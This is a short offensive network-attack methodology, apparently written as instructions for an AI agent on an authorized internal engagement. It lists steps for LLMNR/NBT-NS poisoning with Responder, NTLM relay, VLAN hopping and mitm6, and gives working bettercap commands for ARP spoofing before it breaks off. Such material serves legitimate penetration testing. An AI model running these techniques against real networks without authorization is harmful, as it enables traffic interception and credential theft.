offensive-network-attacks

1# Network Attacks (Layer 2/3) -- Offensive Methodology
2 
3You are attacking Layer 2/3 infrastructure during an authorized internal engagement. ARP, DHCP, broadcast name resolution, VLAN trunking, and IPv6 autoconfiguration are all unauthenticated -- you exploit that trust to intercept credentials, redirect traffic, and cross network boundaries.
4 
5## Quick Workflow
6 
71. Map your position -- VLAN, subnet, gateway, DNS, DHCP lease, IPv6 status.
82. Passively sniff with tcpdump/Wireshark to discover hosts and cleartext credentials.
93. Run Responder in analyze mode to observe LLMNR/NBT-NS/mDNS queries.
104. Enable Responder poisoning to capture NTLMv2 hashes.
115. Relay captured hashes with ntlmrelayx against hosts without SMB signing.
126. ARP spoof the gateway for targeted MITM and credential interception.
137. Probe VLAN boundaries via DTP negotiation and 802.1Q double tagging.
148. Exploit IPv6 autoconfiguration with mitm6 for DNS takeover and NTLM relay.
15 
16---
17 
18## ARP Spoofing
19 
20ARP has no authentication. You send gratuitous ARP replies to associate your MAC with the gateway IP in the victim's cache, routing their traffic through you.
21 
22### Bettercap ARP Module
23 
24```bash
25sudo bettercap -iface eth0
26net.probe on                              # discover live hosts
27net.show
28set arp.spoof.targets 10.0.0.50          # single target
29set arp.spoof.fullduplex true            # poison both victim and gateway
30arp.spoof on
31```
32 
33### arpspoof and Ettercap
34 
35```bash
36echo 1 > /proc/sys/net/ipv4/ip_forward
37…